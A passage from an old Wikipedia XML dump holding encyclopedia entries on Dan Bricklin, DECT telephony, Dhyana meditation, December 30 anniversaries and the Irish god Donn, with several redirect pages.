* [http://physicsweb.org/article/world/15/9/1 The Double Slit Experiment]
* [http://physicsweb.org/articles/news/9/3/1/1?rss=2.0 Double-Slit in Time]
* [[Keith Mayes]] [http://www.thekeyboard.org.uk/Quantum%20mechanics.htm explains the Double Slit Experiment in plain English]
* {{fnb|1}} Newton's rings. [http://scienceworld.wolfram.com/physics/NewtonsRings.html Newton's Rings from Eric Weisstein's World of Physics]
* [http://bednorzmuller87.phys.cmu.edu/demonstrations/optics/interference/demo326.html Carnegie Mellon department of physics, photo images of Newton's rings]
* [http://www.falstad.com/ripple/ex-2slit.html Java demonstration of double slit experiment]
* [http://homepage.univie.ac.at/Franz.Embacher/KinderUni2005/waves.gif Double-slit experiment animation]
* [http://video.google.com/videoplay?docid=-4237751840526284618&amp;q=quantum Double-slit experiment cartoon animation]

[[Category:Wave mechanics]]
[[Category:Quantum mechanics]]
[[Category:Foundational quantum physics]]
[[Category:Physics experiments]]

[[de:Doppelspaltexperiment]]
[[es:Experimento de Young]]
[[fr:Fentes de Young]]
[[he:ניסוי שני הסדקים]]
[[id:Eksperimen celah ganda]]
[[ja:二重スリット実験]]
[[pl:Doświadczenie Younga]]
[[pt:Experiência da dupla fenda]]
[[tr:Çift yarık deneyi]]</text>
    </revision>
  </page>
  <page>
    <title>Dan Bricklin</title>
    <id>8668</id>
    <revision>
      <id>40370031</id>
      <timestamp>2006-02-20T02:44:06Z</timestamp>
      <contributor>
        <ip>70.49.141.89</ip>
      </contributor>
      <text xml:space="preserve">'''Daniel S. Bricklin''' (born [[16 July]] [[1951]]) is the co-creator, with [[Bob Frankston]], of the [[VisiCalc]] [[spreadsheet]] program.  He also founded Software Garden, Inc., of which he is currently president, and [[Trellix]] Corporation.

Bricklin was born in [[Philadelphia, Pennsylvania]].  He received his [[bachelor of science|B.S.]] in [[electrical engineering]]/[[computer science]] from the [[Massachusetts Institute of Technology]], where he was a resident of [[List of MIT dormitories#Bexley Hall|Bexley Hall]], and his [[MBA]] from [[Harvard University]] in [[1979]].

Also in 1979, Bricklin and Frankston founded Software Arts, Inc., and began selling VisiCalc, the first [[spreadsheet]] program available for [[personal computer]]s.  He was given a [[Grace Murray Hopper Award]] in [[1981]] for VisiCalc.

Bricklin was chairman of Software Arts until [[1985]], when he left to found Software Garden.  He was the president of the company until he co-founded Slate Corporation in [[1990]].  Slate closed in [[1994]] and so Bricklin returned to Software Garden.

In [[1995]] Bricklin founded Trellix Corporation.  Trellix was bought by [[Interland, Inc.]], in [[2003]], and Bricklin became Interland's [[chief technology officer]].

He introduced the term &quot;[[friend-to-friend]] networking&quot; on August 11, 2000. [http://www.bricklin.com/f2f.htm bricklin.com]

Bricklin is currently president of Software Garden, a small company which develops and markets software tools he creates (most notably &quot;Dan Bricklin's Demo Program&quot;), as well as providing speaking and consulting services.

He is also developing [[wikiCalc]], a collaborative, basic spreadsheet running on the Web.

==External links==
*[http://www.danbricklin.com/ DanBricklin.com]
*[http://www.softwaregarden.com/ Software Garden]
*[http://www.imdb.com/name/nm0108601/ IMDb entry]
*[http://danbricklin.com/log/2005_11_09.htm#wikicalc I'm working on a new product called wikiCalc], from Dan Bricklin's weblog on November 9, 2005, introducing [[wikiCalc]]
*[http://www.pbs.org/cringely/nerdtv/guests/#b This page has a link to Dan's interview conducted by Robert Cringely]

[[Category:1951 births|Bricklin, Dan]]
[[Category:Living people|Bricklin, Dan]]
[[Category:Computer pioneers|Bricklin, Dan]]
[[Category:Electrical engineers|Bricklin, Dan]]
[[Category:Entrepreneurs|Bricklin, Dan]]
[[Category:Programmers|Bricklin, Dan]]

{{compu-bio-stub}}

[[es:Dan Bricklin]]
[[pl:Dan Bricklin]]

OMG I ROCK</text>
    </revision>
  </page>
  <page>
    <title>Dragon 32</title>
    <id>8669</id>
    <revision>
      <id>15906636</id>
      <timestamp>2004-05-01T20:23:38Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>#redirect</comment>
      <text xml:space="preserve">#redirect [[Dragon 32/64]]</text>
    </revision>
  </page>
  <page>
    <title>Document Editor</title>
    <id>8670</id>
    <revision>
      <id>28065410</id>
      <timestamp>2005-11-11T23:00:55Z</timestamp>
      <contributor>
        <username>Jkruis</username>
        <id>532499</id>
      </contributor>
      <minor />
      <comment>removed dead link to comparison</comment>
      <text xml:space="preserve">'''Document Editor''' was an early [[WYSIWYG]] [[word processor]] from [[Xerox]].

==See also==
*[[List of word processors]]

{{compu-soft-stub}}
[[Category:Word processors]]</text>
    </revision>
  </page>
  <page>
    <title>Deist</title>
    <id>8671</id>
    <revision>
      <id>15906638</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Deism]]
</text>
    </revision>
  </page>
  <page>
    <title>Digital Enhanced Cordless Telecommunications</title>
    <id>8674</id>
    <revision>
      <id>38038007</id>
      <timestamp>2006-02-03T19:38:01Z</timestamp>
      <contributor>
        <username>Sbisolo</username>
        <id>27889</id>
      </contributor>
      <minor />
      <comment>+it:</comment>
      <text xml:space="preserve">'''DECT''' or '''Digital Enhanced (former European) Cordless Telecommunications''' is an [[ETSI]] standard for digital [[portable phone]]s, commonly used for domestic or corporate purposes.  DECT can also be used for wireless data transfers. 

DECT is (like [[GSM]]) a cellular system. A major difference between the systems is the cell radius &amp;mdash; DECT cells have a radius of 25 to 100 meters, while GSM cells are 2 to 10 km.

[[image:cordless.phone.750pix.jpg|right|thumb|250px|The base unit and handset of a British Telecom DECT cordless telephone]]

Some other DECT properties:
* net bit rate: 32 kbit/s
* frequency: 1900 MHz
* carriers: 10 (1880..1900 MHz)
* timeslots: 2 x 12 (up and down stream)
* channel allocation: dynamic
* traffic density: 10000 [[Erlang unit|Erlang]]s/km²

DECT [[physical layer]] uses:
*[[Frequency division multiple access]] (FDMA),
*[[Time division multiple access]] (TDMA) and
*[[Time division duplex]] (TDD)

This means that the [[radio spectrum]] is divided into physical channels in two dimensions: frequency and time.

The power emitted from portable part as well as base stations when sending is 100mW.

DECT [[media access control layer]] is the layer which controls the physical layer and provides [[connection oriented]], [[connectionless]] and [[Broadcasting|broadcast]] services to the higher layers. It also provides [[encryption]] services. 

DECT [[data link layer]] uses a variant of the [[Integrated Services Digital Network|ISDN]] data link protocol called LAPC. They are based on [[HDLC]].

DECT [[network layer]] contains various protocol entities:
* Call Control (CC)
* Call Independent Supplementary Services (CISS)
* Connection Oriented Message Service (COMS)
* Connectionless Message Service (CLMS)
* Mobility Management (MM)

All these communicate through a Link Control Entity (LCE).

The call control protocol is derived from ISDN DSS1, which is a Q.931 derived protocol. Many DECT specific changes have been made.

Four application areas:
* Domestic DECTs are connected to a base (''radio fixed parts'') connected to the [[PSTN]]. A base can accept more DECT handsets.
* Business DECTs connected to [[PBX]]. Such a case, many ''radio fixed parts''. The DECT handsets dynamically connect to these (hand over feature)
* Public DECT connected to the PSTN (very rare). An high density alternative to GSM.
* [[Local loop]] (very rare). In this case, a DECT radio link replaces the normally wired connection between the final PSTN distribution point to the subscriber.

DECT [[Generic_access_protocol|GAP]] is an interoperability profile for DECT. The intent is that two different products from different manufacturers that both conform not only to the DECT standard, but also to the GAP profile defined within the DECT standard, are able to interoperate for basic calling.  In other words, any phone that supports the GAP can be registered with any base station that also supports it, and be used to make and receive calls.  They will not necessarily be able to access advanced features of the base station, such as remote operation of an [[answering machine]] built into the base. Most consumer-level DECT phones and base stations support the GAP profile, even ones that do not publicise this feature, and thus can be used together.

DECT was developed by ETSI but has since been adopted by many countries all over the world. DECT is used in all countries in Europe, outside Europe it is used in most of Asia, Australia and South-America. So far North-America has been off-limits for DECT, but that looks set to change in the near future.

==See also==
*[[Generic access protocol]] (GAP)
*[[CorDECT]]
*[[Wireless local loop]]

==External links==
* [http://www.dect.org/ DECT Forum at dect.org]
* [http://portal.etsi.org/dect/Summary.asp DECT information at ETSI]
* [http://www.dectweb.com/ DECTWeb].

[[category:Telephony]]
[[Category:Domotics]]
[[Category:Local loop]]
[[Category:Broadband]]

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[[sv:DECT]]</text>
    </revision>
  </page>
  <page>
    <title>Dhyana</title>
    <id>8676</id>
    <revision>
      <id>40848160</id>
      <timestamp>2006-02-23T11:37:03Z</timestamp>
      <contributor>
        <ip>211.72.233.2</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{| border=1 width=300 cellpadding=2 cellspacing=0 align=right
|-
! colspan=2 align=center bgcolor=#FFCCCC | '''Dhyana'''
|-
! colspan=2 align=center | '''[[Sanskrit]] Name'''
|-
| [[Romanization]]
| Dhyāna
|-
| [[Devanāgarī]]
| ध्यान
|-
! colspan=2 align=center | '''[[Pāli|Pali]] Name'''
|-
| [[Romanization]]
| Jhāna
|-
| [[Devanāgarī]]
| झान
|-
| [[Sinhala script|Sinhala]]
| ඣාන
|-
! colspan=2 align=center | '''[[Chinese language|Chinese]] Name'''
|-
| width=150 | [[Hanyu Pinyin]]
| width=150 | [[Chan|Chán]]
|-
| width=150 | [[Wade-Giles]]
| width=150 | Ch'an
|-
| width=150 | [[Cantonese language|Cantones]][[International Phonetic Alphabet|e IPA]]
| width=150 | &lt;font size=2 face=&quot;arial unicode ms, lucida sans unicode&quot;&gt;s&amp;#618;m4&lt;/font&gt;
|-
| width=150 | [[Cantonese language|Cantones]][[Jyutping|e Jyutping]]
| width=150 | sim
|-
| [[Hanzi]]
| &amp;#31146;
|-
| [[Jiantizi]]
| &amp;#31109;
|-
! colspan=2 align=center | '''[[Korean language|Korean]] Name'''
|-
| width=150 | [[Revised Romanization of Korean|Revised Romanization]]
| width=150 | [[Seon]]
|-
| width=150 | [[McCune-Reischauer]]
| width=150 | S&amp;#335;n
|-
| [[Hangul]]
| &amp;#49440;
|-
| width=&quot;150&quot; | [[Hanja]]
| width=&quot;150&quot; | &amp;#31146;
|-
! colspan=2 align=center | '''[[Japanese language|Japanese]] Name'''
|-
| [[Romaji]]
| [[Zen]]
|-
| [[Kanji]]
| &amp;#31109;
|-
! colspan=2 align=center | '''[[Vietnamese language|Vietnamese]] Name'''
|-
| [[Quoc ngu|Quốc ngữ]]
| Thiền
|}

'''''Dhy&amp;#257;na''''' is a term in [[Sanskrit]] which refers to a type or aspect of [[meditation]]. It is a key concept in [[Hinduism]] and [[Buddhism]]. Equivalent terms are ''jh&amp;#257;na'' in [[Pāli|P&amp;#257;li]], ''[[chán]]'' in [[Chinese language|Chinese]], and ''[[zen]]'' in [[Japanese language|Japanese]].

==Dhy&amp;#257;na in Buddhism==
In the [[Pali Canon]] the [[Buddha]] describes eight progressive states of absorption [[meditation]] or Jhana. The first four are connected to the physical realm and the last four only with the mental realm (i.e. there is no experience of the body in the four higher Jhanas). It must be noted that these states are not the final goal that the Buddha taught since they are all still in the field of mind and matter. The final goal of [[Nibbana]] (Sanskrit:[[Nirvana]]) is the experience beyond mind and matter.&lt;br&gt;

In [[East Asia]], several schools of Buddhism were founded that focused on dhyana, under the names [[Chan]], [[Zen]], and [[Seon]]. According to tradition, [[Bodhidharma]] brought Dhyana to the [[Shaolin]] temple in China, through Tibet, where it came to be known first as ''chan'', and then ''zen''.&lt;br&gt;

Jhanas are normally described by the way of the mental factors which are present in these states&lt;br&gt;

1. Initial application [[Vitakka]]&lt;br&gt;
2. Sustained application [[Vicara]]&lt;br&gt;
3. Joy [[Piti]]&lt;br&gt;
4. Happiness [[Sukkha]]&lt;br&gt;
5. One-pointedness [[Ekaggata]]&lt;br&gt;

* First Jhana : [[Vitakka]], [[Vicara]], [[Piti]], [[Sukkha]], [[Ekaggata]]&lt;br&gt;
As the meditator reaches this first Jhana, he can meditate without being disturbed by any thought or desire, though thoughts are still there.&lt;br&gt;
* Second Jhana : [[Piti]], [[Sukkha]],[[Ekaggata]] &lt;br&gt;
All intellectual processes cease. There is only rapture, happiness, and the object. 
* Third Jhana : [[Sukkha]], [[Ekaggata]] &lt;br&gt;
Joy disappears.
* Fourth Jhana : [[Upekkha]], [[Ekaggata]] &lt;br&gt;
Even happiness disappears, leading to a state with neither pleasure nor suffering. The [[Buddha]] described the Jhanas as &quot;the footsteps of the [[tathagata]]&quot;.&lt;br&gt;
Traditionally, this fourth Jhana is seen as the beginning of attaining psychic powers.&lt;br&gt;

These four are [[rupajhana]]s, material jhanas. An additional four [[arupajhana]]s still consist in the two factors of [[Upekkha]] and [[Ekaggata]].&lt;br&gt;
Arupajhanas are non-material jhanas and are described by their mental object : &lt;br&gt;
* Fifth Jhana : [[infinite]] [[space]]   &lt;br&gt;
* Sixth Jhana : [[infinite]] [[consciousness]]   &lt;br&gt;
* Seventh Jhana : [[nothingness]] &lt;br&gt;
* Eighth Jhana : neither perception nor non-perception &lt;br&gt;

Usually Jhanas are exposed as part of [[Samatha]]'s practice, as opposed to [[Vipassana]]. But [[Vipassana jhanas]] are also mentioned. When the awareness of the arising and passing of physical sensations is maintained during the first four Jhanas they are Vipassana Jhanas.&lt;br&gt;

==Dhy&amp;#257;na in Hinduism==
According to the Hindu [[Yoga Sutra]] dhyana is one of the eight methods of [[Yoga]], (the other seven methods are [[Yama]], [[Niyama]], [[Asana]], [[Pranayama]], [[Pratyahara]], [[Dharana]], and [[Samadhi]]). 

In the [[Ashtanga Yoga]] of [[Patanjali]], the stage of meditation preceding dhy&amp;#257;na is called ''[[dharana]]''. In Dhyana, the meditator is not conscious of the act of meditation (i.e. is not aware that s/he is meditating) but is only aware that s/he exists (consciousness of ''being''), and aware of the object of meditation. Dhyana is distinct from [[Dharana]] in that the meditator becomes one with the object of meditation and is able to maintain this oneness for 144 inhalations and expirations.

The Dhyana Yoga system is specifically described by Sri [[Krishna]] in chapter 6 of the famous [[Bhagavad Gita]], wherein He explains the many different Yoga systems to His friend and [[disciple]], [[Arjuna]].

==See also== 
*[[Rupajhana]]
*[[Arupajhana]]
*[[Ashtanga Yoga]]
*[[Samadhi]]
*[[Bhavana]]

==External links==
*[http://www.acmuller.net/cgi-bin/search-ddb4.pl?Terms=&amp;#31146; Digital Dictionary of Buddhism] (log in with userID &quot;guest&quot;)
* The Buddha's [http://www.accesstoinsight.org/ptf/jhana.html descriptions of the first four states of dhyana] in the [[Pali Canon]] (Anguttara Nikaya V.28)
* [http://www.atmajyoti.org/dharana_dhyana_etc.asp Dharana, Dhyana, Samadhi, and Meditation] by Swami Nirmalananda Giri
* [http://www.greatwesternvehicle.org/foundations.htm Jhana, the Joyful Home of the Way] by the contemplative recluse monk Sotapanna Jhanananda (Jeffrey S, Brooks)
* [http://www.dhammakaya.or.th Dhammakaya Meditation]

{{buddhism2}}
{{Yoga}}
{{hinduism}}


[[Category:Buddhist meditation]]
[[Category:Meditation]]
[[Category:Yoga]]
[[Category:Zen]]

[[de:Dhyana]]
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[[vi:Thiền]]</text>
    </revision>
  </page>
  <page>
    <title>December 30</title>
    <id>8677</id>
    <revision>
      <id>42014842</id>
      <timestamp>2006-03-03T05:47:11Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Events */ removed minor event</comment>
      <text xml:space="preserve">'''[[December 30]]''' is the 364th day of the year (365th in [[leap year]]s) in the [[Gregorian Calendar]], with 1 day remaining.
{{DecemberCalendar}}

==Events==
*[[1460]] - [[Wars of the Roses]]: The [[Richard, Duke of York|Duke of York]] is defeated at the [[Battle of Wakefield]].
*[[1853]] - [[Gadsden Purchase]]: The [[United States]] buys land from [[Mexico]] to facilitate [[railroad]] building in the Southwest.
*[[1853]]  - A dinner party ia held inside life-size model of an [[Iguanodon]] created by [[Benjamin Waterhouse Hawkins]] and Sir [[Richard Owen]] in south [[London]].
*[[1862]] - [[USS Monitor|USS Monitor]] sinks off [[Cape Hatteras]], [[North Carolina]].
*[[1879]] - ''[[The Pirates of Penzance]]'' is first performed ([[Paignton]], [[Devon]], [[England]]).
*[[1880]] - The [[Transvaal]] becomes a republic and [[Paul Kruger]], its first president.
*[[1896]] - [[José Rizal]] was [[Execution (legal)|executed]] by [[firing squad]] in [[Manila]].
*[[1897]] - [[KwaZulu-Natal Province|Natal]] annexes [[Zululand]].
*[[1903]] - A fire at the [[Iroquois Theater]] in [[Chicago, Illinois]] kills 600.  
*[[1919]] - [[Lincoln's Inn]] in [[London]] admits its first female bar student.  
*[[1922]] - The [[Soviet Union|Union of Soviet Socialist Republics]] is formed.  
*[[1924]] - [[Edwin Hubble]] announces the existence of other [[galaxy|galaxies]].  
*[[1927]] - The [[Tokyo Metro Ginza Line|Ginza Line]], the first [[Metro|subway line]] in [[Asia]], opens in [[Tokyo]]. 
*[[1936]] - The [[United Auto Workers]] [[trade union|union]] stages its first [[sit-down strike]].  
*[[1940]] - [[California]] opens its first [[freeway]], the [[Arroyo Seco Parkway]].  
*[[1943]] - [[Chandra Bose]] raises the flag of [[India]]n independence at [[Port Blair]]. 
*[[1944]] - King [[George II of Greece]] declares a regency, leaving his throne vacant.
*[[1947]] - King [[Michael of Romania]] forced to abdicate by the [[Soviet]]-backed Communist government of Romania.
*[[1948]] - The play ''[[Kiss Me, Kate]]'' opens for the first of 1,077 performances.  
*[[1953]] - The first [[color television]] sets go on sale for about [[United States dollars|USD]] at $1,175 each.
*[[1965]] - [[Ferdinand Marcos]] becomes [[President of the Philippines|President]] of the [[Philippines]].
*[[1972]] - [[Vietnam War]]: The [[United States|US]] halts heavy bombing of [[North Vietnam]].  
*[[1980]] - After 25 years, the longest-running prime-time [[television|TV]] series ''[[The Wonderful World of Disney]]'' is cancelled by [[NBC]].
*[[1981]] - [[Wayne Gretzky]] scores his 50th goal in 39 games, still a [[National Hockey League]] record.
*[[1993]] - [[Israel]] and the [[Holy See|Vatican]] establish diplomatic relations.
*[[1995]] - The lowest ever [[United Kingdom|UK]] temperature of -27.2°C was recorded at [[Altnaharra]] in the [[Scottish Highlands]]. This equalled the record set at [[Braemar]], [[Aberdeenshire (traditional)|Aberdeenshire]] on [[February 11]], [[1895]] and [[January 10]], [[1982]].
*[[1996]] - In the [[India]]n state of [[Assam]], a passenger train is bombed by [[Bodo]] separatists, killing 26.  
*1996 - Proposed budget cuts by [[Benjamin Netanyahu]] spark protests from 250,000 workers who shut down services across [[Israel]]. 
*[[1997]] - In the worst incident in [[Algeria]]'s insurgency, the [[Wilaya of Relizane massacres of December 30, 1997|Wilaya of Relizane massacres]], 400 people are killed from four villages.
*[[2000]] - [[Rizal Day Bombings]]: A series of bombs explode in various places in [[Metro Manila]], [[Philippines]] within a span of a few hours, killing 22 and injuring about a hundred.
*[[2003]] - The U.S. [[Food and Drug Administration]] announces a ban on the sale of [[dietary supplement]] [[ephedra]]. 
*[[2003]] - [[U.S. Attorney General]] [[John Ashcroft]] [[recusal|recuses]] himself and his office from the [[Plame affair]]. 
*[[2004]] - A fire in the [[República Cromagnon nightclub fire|República Cromagnon nightclub]] in [[Buenos Aires]], [[Argentina]] kills 194.
*[[2005]] - [[Tropical Storm Zeta (2005)|Tropical Storm Zeta]] forms in the open Atlantic, tying the record for the latest [[tropical cyclone]] ever to form in the [[Atlantic Ocean|North Atlantic basin]].

==Births==
*[[39]] - [[Roman Emperor Titus]] (d. [[81]])
*[[1204]]- [[Abû 'Uthmân Sa'îd Hakam al Qurashi]], Ra'îs of [[Manûrqa]] (d. [[1282]])
*[[1552]] - [[Simon Forman]], English occultist and astrologer (d. [[1611]])
*[[1642]] - [[Vicenzo da Filicaja]], Italian poet (d. [[1707]])
*[[1673]] - [[Ahmed III]], [[Ottoman Sultan]] (d. [[1736]])
*[[1678]] - [[William Croft]], English composer (d. [[1727]])
*[[1722]] - [[Charles Yorke]], Lord Chancellor of Great Britain (d. [[1770]])
*[[1724]] - [[Louis-Jean-François Lagrenée]], French painter (d. [[1805]])
*[[1819]] - [[Theodor Fontane]], German writer (d. [[1898]])
*[[1838]] - [[Émile Loubet]], 7th [[President of France]] (b.[[1929]]) 
*[[1865]] - [[Rudyard Kipling]], British writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1936]])
*[[1869]] - [[Stephen Butler Leacock]], was a British-Canadian writer and economist.(d. 1944)
*[[1873]] - [[Al Smith]], American politician (d. [[1944]])
*[[1884]] - [[Hideki Tojo]], [[Prime Minister of Japan]] (d. [[1948]])
*[[1897]] - [[Alfredo Bracchi]], Italian author (d. [[1976]])
*[[1899]] - [[Helge Ingstad]], Norwegian explorer (d. [[2001]])
*[[1904]] - [[Dmitri Kabalevsky]], Russian composer (d. [[1987]])
*[[1906]] - [[Carol Reed]], English film director (d. [[1976]])
*[[1910]] - [[Paul Bowles]], American composer and author (d. [[1999]])
*[[1911]] - [[Jeanette Nolan]], American actress (d. [[1998]])
*[[1914]] - [[Bert Parks]], American television host (d. [[1992]])
*[[1917]] - [[Seymour Melman]], American industrial engineer (d. [[2004]])
*[[1920]] - [[Jack Lord]], American actor (d. [[1998]])
*[[1928]] - [[Bo Diddley]], American singer and musician
*[[1931]] - [[Skeeter Davis]], American singer (d. [[2004]])
*[[1934]] - [[John N. Bahcall|John Norris Bahcall]], American physicist (d. [[2005]])
*[[1934]] - [[Joseph Bologna]], American actor
*[[1934]] - [[Joseph P. Hoar]], U.S. general
*[[1934]] - [[Del Shannon]], American singer (d. [[1990]])
*[[1934]] - [[Russ Tamblyn]], American actor, dancer, and singer
*[[1935]] - [[Omar Bongo]], [[President of Gabon]]
*[[1935]] - [[Sandy Koufax]], baseball player
*[[1937]] - [[Gordon Banks]], British footballer
*[[1937]] - [[John Hartford]], American musician (d. [[2001]])
*[[1937]] - [[Jim Marshall (football player)|Jim Marshall]], American football player
*[[1937]] - [[Paul Stookey]], American singer
*[[1941]] - [[Mel Renfro]], American football player
*[[1942]] - [[Vladimir Bukovsky]], Russian author and dissident
*[[1942]] - [[Michael Nesmith]], American singer and musician ([[The Monkees]])
*[[1942]] - [[Fred Ward]], American actor
*[[1945]] - [[Davy Jones]], American singer ([[The Monkees]])
*[[1946]] - [[Patti Smith]], American singer
*[[1947]] - [[Michael Burns, Ph.D.]], American actor and history professor
*[[1947]] - [[Jeff Lynne]], English singer and musician ([[Electric Light Orchestra|ELO]])
*[[1952]] - [[June Anderson]], American soprano
*[[1953]] - [[Harald Schmautz]], German-Australian journalist and monarchist
*[[1956]] - [[Suzy Bogguss]], American singer
*[[1957]] - [[Matt Lauer]], American newscaster
*[[1959]] - [[Tracey Ullman]], English actress and singer
*[[1961]] - [[Douglas Coupland]], Canadian author
*[[1961]] - [[Sean Hannity]], American talk radio host and conservative political commentator
*[[1961]] - [[Ben Johnson (athlete)|Ben Johnson]], Canadian athlete
*[[1963]] - [[Chandler Burr]], American author
*[[1963]] - [[Michelle Douglas]], Canadian human rights activist
*[[1965]] - [[Darrin C. Huss]], Canadian musician and singer ([[Psyche]])
*[[1965]] - [[Zoe Kelli Simon]], American actress
*[[1969]] - [[Dave England]], American television personality
*[[1969]] - [[Jason Kay|Jay Kay]], English musician and singer ([[Jamiroquai]])
*[[1972]] - [[Kerry Collins]], American football player
*[[1973]] - [[Jason Behr]], American actor
*[[1973]] - [[Ato Boldon]], West Indian athlete
*[[1975]] - [[Tiger Woods]], American golfer
*[[1976]] - [[Meredith Monroe]], American actress
*[[1978]] - [[Tyrese]], American singer
*[[1980]] - [[Eliza Dushku]], American actress
*[[1982]] - [[Kristin Kreuk]], Canadian actress
*[[1984]] - [[LeBron James]], American basketball player
*[[1989]] - [[Ryan Sheckler]], Professional skateboarder

==Deaths==
*[[1218]] - [[Richard de Clare, 4th Earl of Hertford]], English politician (b. [[1162]])
*[[1460]] - [[Richard, Duke of York]], claimant to the English throne (killed in battle) (b. [[1411]])
*[[1525]] - [[Jacob Fugger]], German banker (b. [[1459]])
*[[1572]] - [[Galeazzo Alessi]], Italian architect (b. [[1512]])
*[[1573]] - [[Giovanni Battista Giraldi]], Italian writer (b. [[1504]])
*[[1591]] - [[Pope Innocent IX]] (b. [[1519]])
*[[1640]] - [[John Regis]], French saint (b. [[1597]])
*[[1644]] - [[Jan Baptist van Helmont]], Flemish chemist (b. [[1577]])
*[[1662]] - Archduke [[Ferdinand Charles of Austria]] (b. [[1628]])
*[[1691]] - [[Robert Boyle]], Irish scientist (b. [[1627]])
*[[1769]] - [[Nicholas Taaffe, 6th Viscount Taaffe]], Austrian soldier (b. [[1685]])
*[[1803]] - [[Francis Lewis]], signer of the American Declaration of Independence (b. [[1713]])
*[[1896]] - [[José Rizal]], national hero of the Philippines (b. [[1861]])
*[[1941]] - [[El Lissitzky]], Russian artist and architect (b. [[1890]])
*[[1944]] - [[Romain Rolland]], French writer, [[Nobel Prize]] laureate (b. [[1866]])
*[[1954]] - [[Eugen, Archduke of Austria]], Austrian field marshal (b. [[1863]])
*[[1967]] - [[Vincent Massey]], [[Governor-General of Canada]] (b. [[1887]])
*[[1968]] - [[Trygve Lie]], first [[United Nations Secretary General]] (b. [[1896]])
*[[1970]] - [[Sonny Liston]], American boxer (b. [[1932]])
*[[1971]] - [[Melba Rae]], American actress (b. [[1922]])
*[[1979]] - [[Richard Rodgers]], American composer (b. [[1902]])
*[[1986]] - [[Era Bell Thompson]], American journalist (b. [[1905]])
*[[1988]] - [[Yuli Daniel]], Russian writer (b. [[1925]])
*[[1993]] - [[Giuseppe Occhialini]], Italian physicist (b. [[1907]])
*[[1994]] - [[Dmitri Ivanenko]], Russian physicist (b. [[1904]])
*[[1995]] - [[Doris Grau]], American actress (b. [[1924]])
*[[1996]] - [[Lew Ayres]], American actor (b. [[1908]])
*[[2001]] - [[Eileen Heckart]], American actress  (b. [[1919]])
*[[2002]] - [[Mary Wesley]], English novelist (b. [[1912]])
*[[2003]] - [[David Bale]], South African-born activist (cancer) (b. [[1941]])
*[[2003]] - [[John Gregory Dunne]], American writer (b. [[1932]])
*[[2003]] - [[Anita Mui]], Hong Kong singer and actress (b. [[1963]])
*[[2004]] - [[Artie Shaw]], American jazz clarinetist, composer, and bandleader (b. [[1910]])

==Holidays and observances==
*The sixth [[Twelvetide|day of Christmas]] in Western [[Christianity]].
*[[Calendar of Saints|R.C. Saints]] - [[Pope Felix I]] (optional memorial)
*[[Philippines]] - [[José Rizal|Rizal Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/30 BBC: On This Day]
* [http://www.tnl.net/when/12/30 Today in History: December 30]
----

[[December 29]] - [[December 31]] - [[November 30]] - [[January 30]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:30 Desember]]
[[ar:30 ديسمبر]]
[[an:30 d'abiento]]
[[ast:30 d'avientu]]
[[bg:30 декември]]
[[be:30 сьнежня]]
[[bs:30. decembar]]
[[ca:30 de desembre]]
[[ceb:Disyembre 30]]
[[cv:Раштав, 30]]
[[co:30 di decembre]]
[[cs:30. prosinec]]
[[cy:30 Rhagfyr]]
[[da:30. december]]
[[de:30. Dezember]]
[[et:30. detsember]]
[[el:30 Δεκεμβρίου]]
[[es:30 de diciembre]]
[[eo:30-a de decembro]]
[[eu:Abenduaren 30]]
[[fo:30. desember]]
[[fr:30 décembre]]
[[fy:30 desimber]]
[[gl:30 de decembro]]
[[ko:12월 30일]]
[[hr:30. prosinca]]
[[io:30 di decembro]]
[[id:30 Desember]]
[[ia:30 de decembre]]
[[is:30. desember]]
[[it:30 dicembre]]
[[he:30 בדצמבר]]
[[jv:30 Desember]]
[[ka:30 დეკემბერი]]
[[csb:30 gòdnika]]
[[ku:30'ê berfanbarê]]
[[la:30 Decembris]]
[[lt:Gruodžio 30]]
[[lb:30. Dezember]]
[[hu:December 30]]
[[mk:30 декември]]
[[ms:30 Disember]]
[[nap:30 'e dicembre]]
[[nl:30 december]]
[[ja:12月30日]]
[[no:30. desember]]
[[nn:30. desember]]
[[oc:30 de decembre]]
[[os:30 декабры]]
[[pl:30 grudnia]]
[[pt:30 de Dezembro]]
[[ro:30 decembrie]]
[[ru:30 декабря]]
[[se:Juovlamánu 30.]]
[[sco:30 December]]
[[sq:30 Dhjetor]]
[[scn:30 di dicèmmiru]]
[[simple:December 30]]
[[sk:30. december]]
[[sl:30. december]]
[[sr:30. децембар]]
[[fi:30. joulukuuta]]
[[sv:30 december]]
[[tl:Disyembre 30]]
[[tt:30. Dekäber]]
[[te:డిసెంబర్ 30]]
[[th:30 ธันวาคม]]
[[vi:30 tháng 12]]
[[tr:30 Aralık]]
[[uk:30 грудня]]
[[wa:30 di decimbe]]
[[war:Disyembre 30]]
[[zh:12月30日]]
[[pam:Disiembri 30]]</text>
    </revision>
  </page>
  <page>
    <title>Donn</title>
    <id>8678</id>
    <revision>
      <id>41221424</id>
      <timestamp>2006-02-25T21:57:32Z</timestamp>
      <contributor>
        <username>Alexander 007</username>
        <id>493689</id>
      </contributor>
      <text xml:space="preserve">According to [[Irish mythology]], '''Donn''', or '''the Dark One''', is the Lord of the Dead and father of [[Diarmuid Ua Duibhne]], whom he gave to [[Aengus|Aengus Og]] to be nurtured.  Donn is regarded as the father of the [[Irish people|Irish race]]; a position similar to that of [[Dis Pater]] and the [[Gaul]]s, as noted by [[Julius Caesar]].

In modern [[Irish language|Irish]], the word for the colour [[brown]] is &quot;donn&quot;.

{{Euro-myth-stub}}
[[Category:Celtic gods]]
[[Category:Irish gods]]
[[Category:Death gods]]

[[nl:Donn]]</text>
    </revision>
  </page>
  <page>
    <title>Data compression ratio</title>
    <id>8681</id>
    <revision>
      <id>39851813</id>
      <timestamp>2006-02-16T07:59:14Z</timestamp>
      <contributor>
        <username>Mattopia</username>
        <id>252595</id>
      </contributor>
